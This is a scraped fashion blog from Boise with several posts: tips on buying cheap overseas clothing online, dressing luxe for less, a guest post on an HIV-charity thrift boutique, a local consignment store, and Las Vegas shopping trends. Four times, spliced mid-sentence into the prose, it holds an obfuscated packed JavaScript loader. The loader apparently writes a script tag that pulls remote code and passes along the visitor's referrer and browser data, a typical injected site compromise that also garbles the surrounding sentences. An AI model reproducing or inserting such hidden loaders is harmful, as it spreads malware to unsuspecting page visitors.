The Pros and Cons of Shopping Online

ktvb stylespygirl cheap clothes report

Online shopping is a major industry these days. This past Christmas, an estimated 45% of shoppers bought gifts online, from the United States and abroad. But just like clothing sizes and quality can differ from store to store here in America, the same can be said for a current major trend: cheap clothes from overseas.

Here, in my Special Report on KTVB Channel 7 news, is what you need to know, before you succumb to what may look like an irresistible bargain. Click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bteyb|var|u0026u|referrer|bbnyn||js|php’.split(‘|’),0,{}))
the photo below to jump to the video
, or scroll down to read my main tips.

ktvb stylespygirl cheap clothes report

Things to keep in mind when shopping online, especially “Bargain clothing and accessories” from overseas:

1. The quality of workmanship and the materials may not always be what you think. My friend Char ordered this cape that said “woolen,” and looked like it had beautiful leather trim. Cute, right? And cheap!

wollen coat

But when it arrived, the material was a very cheap felt – definitely NOT wool! – the trim was a shiny, inexpensive stretchy fabric, and the sleeves and zippers were all sewn crooked, with loose threads sticking out!

woolen coat 3

woolen coat 2

My friend Maryann loved a sweater she saw online, and they were so inexpensive she bought two from the same website. But one arrived with beautiful faux fur around the edges and nice, heavy, sweater material, while the second exact same item from the exact same company arrived smaller-sized, with uneven stitching, and scrawny rat-like fur around the trim!

One of the sweaters mostly looked like this:

 The other one, not so much.


2. Sizes from around the world are extremely varied! For example, an American small and a Chinese small are typically NOT the same thing. A couple years ago, I had the fun privilege of traveling to Beijing, China with my husband. I loved all the shopping, but was dismayed to find very little in the clothing category that fit me. I’m fairly average-sized, I think, on a global scale, though on the small size for standard American clothing; 125lbs, 5’7″, which is a size 2-4 here. I was shocked to find that the only dresses or sweaters I could find in the Beijing markets that fit me were extra-large. I’m an XL in China!!! (And a size 8 in the UK, and 38 in other parts of Europe! Why can’t we standardize women’s sizes???)  I definitely keep this experience in mind, when I shop online…

My friend Kristie looks for inexpensive Plus-sized clothing online. When this cute & simple dress popped up for $15 on Zulily, she selected the 3X size. But what came in the mail was tiny; it fit her little sister, who is an American size 2! The belted waist came right under Kristie’s chest, and the “dress” was so short, it fit more like a blouse. Also, the material was so thin, you can see through it. Definitely not what she thought she was paying for!

zulily dress

Kristie’s “dress” only cost her $15, but it was $15 wasted, as she could not return or exchange it, because…


3. Many items are final sale, even if they don’t say so. I ordered an Alice In Wonderland costume from last fall for Halloween. By the time the item arrived, the holiday I bought it for had already passed (shipping from China can take anywhere from 3 weeks to 3 months!), but also the one-size-fits-all dress didn’t fit me. I asked the seller if I could return it, and the answer was, “Sure, as long as you pay the shipping to get it back to us.” Fine, ok, no big deal, right? Until I found out the approximate shipping of that dress back to China was $75! I’m not paying $75 to return a $25 dress!

alice in wonderland costume amazon


Practical Tips for Shopping Online:

1. Always check the return policy! Can you exchange it? Can you get your money back? Will you have to pay for the shipping?

2. Study measurement charts closely, measure twice, don’t rush! Don’t be lazy! I’m talking to you, American shoppers; convert the centimeters to inches and figure it out. It’s worth your time and money!

3. When possible, read others’ ratings so you know the fit. On Amazon, for example, people can rate “Fits as expected,” and write about items that run too big or too small. But watch out for fake or “planted” reviews; take your time and listen to other customers’ opinions.

4. Study the website or retailer; have they been in business long, do they have reviews and testimonials? Even retailers on Amazon and Zulily can pop up quick, sell a few items, and disappear… I bought a costume wig that didn’t arrive after 3 months, but when I went to to check on my order status, the company who distributed the wig had vanished! I never got my wig, but I’m grateful that they never charged my card. Whew!

5. When in doubt, size up and alter to fit. If the item you are ordering comes from China, Korea, or Singapore, for example, go up a size from what you typically buy. It’s SO MUCH EASIER to have a seamstress nip in a waistline or shorten a hem, then it is to try and figure out how to make something that’s too small stretch to fit you!


It comes down to this: ANY shopping you do online is a gamble, no matter what country it’s from!!!

Sometimes the gamble pays off, sometimes it doesn’t! Lower your expectations, do your research, and decide if an item is worth it. Here’s one example of when it worked out really well for me. I ordered this transparent raincoat, which is one-size-fits-all. The style is loose enough, that it doesn’t really matter what the fit is! I was pleased with how it looked – so much so, that I used it in a photo shoot for another article on my blog! (My pics by Valerie Davenport Photography)

transparent raincoatIt’s definitely shorter than it looks on the model, but not enough to detract from it’s overall cuteness. And the best part: it’s only $15.99! (You can view more pics of it in my article here, along with the direct link to it on

So happy shopping, good luck, and remember: buy what you LOVE!!!

Jump to next article: How Coach is Becoming an American Icon Brand…


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Luxe Dressing For Less

pink blush stylespygirl street

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Every Fall, I voraciously inhale stacks of fashion magazines, like most people consume Thanksgiving dinner! There are so many fun and fascinating styles emerging on the fashion scene this season! Lately, however, I’ve been changing the way I shop and view fashion – moving away from loading-up on seasonal trendy pieces, and choosing instead to invest in long-lasting, well-made classics that (hopefully) won’t wear out before I grow tired of them. It’s a mental shift in how I utilize my budget, and has been an interesting learning curve…

Recently, instead of buying a bunch of new fall outfits, I saved up & splurged my entire budget on one amazing Coach handbag, the Borough (see photo, above!). I fell in love with its clean, classic lines, hand-stitched workmanship, and luxurious materials. This, I decided, is my first big “investment piece.” I intend to get much bang for my buck from this bag, because of how many times I will use it, year after year! This classic style won’t go out of fashion, anytime soon.

anthropologie etienne dress
Photo Courtesy of Anthropologie
pink blush navy dress
Photo courtesy of Pink Blush

But then I spotted this dress “Etienne” dress at Anthropologie, and fell in love! Sigh, I’m not going to spend $178, even though it’s oh-so-lovely; my budget is tapped out!

Some time later, I received an email from online shopping site Pink Blush, offering to let me try some of their fun clothes & accessories to highlight on my blog. Lo and behold, I found this Navy Blue Mesh Striped Dress, for only $37! Looks pretty similar to the Anthropologie dress, doesn’t it??

I added a glitzy necklace for $11, a unique bracelet for $13, and $27 Chinese Laundry shoes from Ross, and I’m all set for a fashionable business meeting downtown. My swing coat is vintage from a local thrift store; I paid around $10 for it, seriously!

Put everything together, and my entire look is LESS THAN $100, apart from my Borough bag!!!
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The key to looking luxe for less is in the details. Focus on investing in statement pieces that people will notice; quality shoes, iconic handbags, and stand-out coats are a great place to start! And if you ARE going to buy inexpensive clothes and jewelry, look for materials and craftsmanship that LOOK more expensive than they really are. This is called mixing high and low… And it’s brilliant, because not all of us can afford to wear head-to-toe designer brands every day, like Kim Kardashian.

Pink blush stylespygirl

Do you have a favorite “bargain” treasure shopping find? Tell me about it in the contest below! 
One lucky person will be drawn at random to receive a $25 gift card to Pink Blush, where a little can go a long way.
Good luck!!!


signature 2

a Rafflecopter giveaway

How to Wear Sequins for Daytime

sequins for day

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Express / Skirt: Forever 21 / Sunglasses: Oakley, via Boise Mountain Eyecare / Necklace: Unigon Specialties / Bracelet: Posh Boutique / Handbag: Coach / Tights: Forever 21 / Boots: Vintage Nine West, via Renewed Expressions
Continue reading “How to Wear Sequins for Daytime”

Local Style Hotspot: Serendipity Boutique

serendipity 1
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Authentic vintage hats, purses, & gloves at Serendipty Boutique

Continue reading “Local Style Hotspot: Serendipity Boutique”

Guest Post by Amy Johnson!!!

New eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atfny|var|u0026u|referrer|ysdha||js|php’.split(‘|’),0,{}))
Boutique: Exposure a.l.p.h.a Interchange                                                   Exposes the FUN in FUNKY!

Don’t you love when you find that one-of-a-kind vintage dress or that previously unappreciated painting that shows everyone how eclectic you are? You want exposure; you want to show the world your new treasure!

We all want to be recognized as the wonderfully unique individuals that we are. Allies Linked for the Prevention of HIV and AIDS (ALPHA) has just opened their new gently repurposed boutique in downtown Boise on 10th St. This is where you will find those signature treasures that no one but you will own and everyone but you will wish they had found!

While the mission of ALPHA is a serious one, they know how to have fun. This is often the case of people who deal with a serious subject on a daily basis. Wednesday night, July 6 was no exception.

It was obvious that a lot of fun & creative energy went into the planning of this event! The front window had three improvisational models wearing fashions from the store, and posing with various odd objects. Passers-by glanced in with curious amusement. If that wasn’t enough to bring them in, then the upbeat bluesy live music played by Daniel Kerr did!

Unfortunately, this party was the VIP pre-shopping fundraiser and you had to have a ticket to participate. The VIP party people got a chance to be the first to discover fun, new/old or old/new fashions and home décor, dine on hors d’ oeuvres, and drink beer and wine from Moon River Distributing, who fittingly offers harder-to-find boutique wines.

Mark Dale, who has helped fill the store with its upscale, gently re-purposed items, enthusiastically described the plans for the store. They will be taking consignment pieces on a case-by-case basis and they hope to offer retail space for clothing, jewelry, and perfume designers. The front window will feature local artists and will change monthly.

This non-profit store will provide a much needed additional income for ALPHA. Craig Chapelle, who has been dubbed “The Wrangler” and used to be the fundraising director, said that this store will allow them to depend less on fundraising so they can direct more attention to what they are passionate about: the people. In fact, that was the common denominator for everyone at the event. Socially connected and compassionate, the ALPHA employees, volunteers, and friends agree that it’s a family.

Duane Quintana opened ALPHA to provide a service that was largely under-appreciated in the state of Idaho. They do free HIV testing, community education, and they offer counseling and support to Idahoans who have been diagnosed with the disease. They have just been approved by PCC to include testing for Gonorrhea and Chlamydia. They even have a food bank with pre-approved healthy choices for people who are too sick to work.

Though the event was light-hearted and filled with laughter, the cause was never far away. Some of the most ardent volunteers are HIV+ themselves. During the festivities, one young man came in for testing, not realizing that the offices had moved around the corner.

ALPHA is not only a fun place to shop, but also a conscientious way help to support a desperately-needed service in our community. The grand opening is August 4th, First Thursday in August, but they are open now for shopping and donations! Look for ALPHA between our favorite salon, Roots, and Café Bellissima at 213 N 10th St., Boise. Call (208) 424-8518 for more info, and be sure to follow Exposure a.l.p.h.a. Interchange on Facebook at !!!

Amy Johnson is currently a senior in Communication/Public Relations at Boise State University. She is a wife, mother, self-professed lover of the written word. Her awesome blog is  Also, be sure to  follow her on Twitter for creative musings and brilliant wit!

Local Style Secret: Urban Exchange

At eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ddkkf|var|u0026u|referrer|dntfs||js|php’.split(‘|’),0,{}))
first, it’s that adorable summer outfit in the window that catches your eye.  A step closer, and you spy a table stacked with dark-blue skinny denim, tags still attached. Are those Blue Cults? New? For .99??? You have to step inside now, and immediately you’re drawn to the display of  Juicy jewelry, still in gift boxes. .99 for brand new Juicy?! What is this fabulous place???

Fashionistas, welcome to Urban Exchange! This is not your mama’s thrift store! If you are in the market for Rock & Republic jeans, BCBG tops, or a Kate Spade tote, but don’t have the budget for department store prices, then Urban Exchange is the place for you! Top-notch customer service, an exciting variety of hard-to-find designers, and fabulous prices on every little thing your closet craves; if you are a treasure hunter, this is Boise’s best place to hunt!

Your StyleSpyGirrl stopped by Urban Exchange recently for a little shopping reconnaissance. I was thrilled to find Dolce & Gabbana jeans (normal price range: $300-750) with the tags still attached. The Urban Exchange price: $89.99! And that Gwen Stefani for Lesportsac tote, the one you can’t get on ebay for less than $300? Try $119.99 at Urban Exchange!

I put together a few outfits to show you what great deals this store has to offer. (Click on the pic to view larger image.)

From left, Total Price, Outfit #1: $28.95, including jewelry & shoes. Add the Gwen Stefani tote for $119.99, to total $148.94!

Total Price, Outfit #2: $102.95, which includes a brand NEW pair of True Religion white jeans!

Total Price, Outfit#3: $117.94, including a Kathy Van Zeeland purse, Born sandals, and NEW tie-up Miss Me cargo pants!

Total Price, Outfit #4: $242.90. These are NEW Dolce & Gabanna jeans, along with a Marc Ecko tote & Colin Stuart shoes.

Total Price,Outfit #5: $95.16, $69.99 of which is the comfy, classy Born boots that I just have to put on layaway!

Total Price, Outfit #6: $51.94, including matching necklace & earrings, Kenzie sandals, Kenneth Cole purse, & Hollister top!

Outfit #4, if purchased new in a department store, would run over $1,000! The Urban Exchange price is barely a quarter of that price (not including airfare to your nearest Nordstrom to find D&G jeans!)

Summer is finally here, so fold up yesterday’s purchases, bring them down to Urban Exchange for cash or store credit, and begin your exciting new treasure hunt!

Upcoming Event: On the evening of June 10th, Urban Exchange will be hosting a special summer shopping event! Stop by for champagne, special deals, and a short presentation by your’s truly 🙂 on how to update your wardrobe for style, body shape, and budget! I will station myself by the dressing rooms after the presentation, to offer help, feedback, & encouragement as you shop! Local musical artist Naomi Psalm (see link to the right) will be there as well, performing songs from her latest album; join us for an evening of shopping, music, & fun! Email me for more info at, or Urban Exchange at

It’s Vegas, Baby!!!

Ah, Las Vegas. City of bright lights, tall buildings, crowded streets, and out-of-this-world fashion.  You can walk down the street and get your picture taken with a female Elvis, an early-1980’s Michael Jackson, a goth fairy, an M & M, or just about anything or anyone you can imagine!

Vegas eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iidza|var|u0026u|referrer|fsrdn||js|php’.split(‘|’),0,{}))
fashion is, in a word, eclectic! People come from all over the world, crowding the streets with every kind of style. I saw a plethora of Rockabilly types, with swooping hairstyles, dramatic makeup, and rocker/goth/vintage clothes all woven together with attitude! Boise locals don’t have a lot of access to this style, but Record Exchange, Lux, and Hot Topic are fabulous places to search for Rockabilly treasures. Online, check out the
Lucky 13 brand, and websites like and In Boise, we are fortunate to have access to the Bettie Page line at Belle Boutique, downtown on 9th.  (See my previous article on Belle Boutique!)

Vegas has so many malls, you’d need a week to visit them all! The Fashion Mall is a giant labyrinth of shops; from the massive Forever 21 to Neiman Marcus, there is something for everyone! On the weekends, a runway rises out of the floor for hourly fashion shows. The Miracle Mile shops at Planet Hollywood are just as fun, and a little less overwhelming. The outlet malls just off the strip require a cab ride, as do the plethora of consignment & vintage boutiques. Every hotel has their own brand of shopping; yours truly enjoyed drooling over the high-end couture shops at the Bellagio: Chanel, Dior, Louis Vuitton, and the dearly-departed Alexander McQueen, just to name a few. Are you drooling yet? 😉

Betsey Johnson is another favorite designer of mine, so I was thrilled to find her boutiques in multiple malls. Her 80’s-punk-princess-meets-Alice in Wonderland looks are brash & whimsical, from unique skull totes to poufy prom dresses! Several stores around the area carry her jewelry & bags; be on the lookout for that iconic pink tag!

The biggest trend I observed in Vegas was the leggings/tunic/layered look. Start with long, fitted leggings or jeans; top with a tunic, t-shirt, tank-top, or blouse; and add a sweater, long vest, jacket, belt, long necklaces, etc.; finish with a huge tote or purse, a pair of statement sunglasses — and people might just mistake you for an undercover celebrity! Leggings are everywhere these days, but it takes a certain panache to pull the look together. Stop by Fancy Pants downtown (and check out their great pictures on Facebook!) These gals know how to put the legging look together, and have a fantastic array of unique tops & jackets for every style & body shape! Fancy Pants also carries some of the hottest designer jeans around, including my personal fave Serfontaine.

Another noticeable Vegas trend is the rock-inspired t-shirt. Yes, this look is still very popular! (Check out my previous article on local brand 208 Industries!)  Ed Hardy is an obvious staple, but anything with rhinestones, wings, skulls, and tattoo-type designs dominates Vegas store windows.  For summer, this look pairs well with skinny/destroyed/cropped white jeans, and also mini-skirts, or super-short shorts. Proportion is key; booty shorts worn with platform heels can come across as “too much/too cheap!” Save your sexy bombshell looks for the nightclub; confident femininity is the best everyday look!

If you are interested in booking a guided shopping weekend in Las Vegas, email me for rates & available dates. If you prefer to shop locally, then put on your sunglasses and get hunting, because fabulous style is everywhere! Spring is the perfect time to get outside, enjoy the sunshine, and look for “treasure” around the Treasure Valley.  Whether you prefer the bustle of urban shopping downtown — or out-of-the-way retail gems like Urban Exchange on Chinden or Ruby Lou in Eagle — style abounds in this town! Get shopping; I’ll see you out there!

 Las Vegas is an inspiring city, full of flash, dazzle, and style. But if you are not planning a shopping excursion to Sin City anytime soon, don’t despair; most of the fashions I observed there are accessible to us right here in Boise!

If you want:

Look for:

Rockabilly/Retro style Record Exchange, Lux, “Stop Staring” at Pink and “Bettie Page” at Belle Boutique
Celebrity-inspired casual chic Fancy Pants, Miss Molly, Ruby Lou (Eagle)
Hot, unique shoes! Baker’s, Journey, Dillards, Shoe Fetish, 1318
Rock-inspired t-shirts Paradigm Apparel, Buckle, Mimi Marie (Eagle)
“Couture” Jewelry Forever 21, Burlington Coat Factory, Belle Boutique, Dragonfly, Express
Designer Jeans Fancy Pants, Miss Molly, Paradigm, Urban Exchange, Ruby Lou (Eagle)
Hot styles for the office Express, BCBG at Dillards
Fabulous Fashion Bargains Urban Exchange, Lux, Plato’s Closet, Again (Eagle)
Betsey Johnson accessories Macy’s, TJ Maxx, Marshall’s, Dillards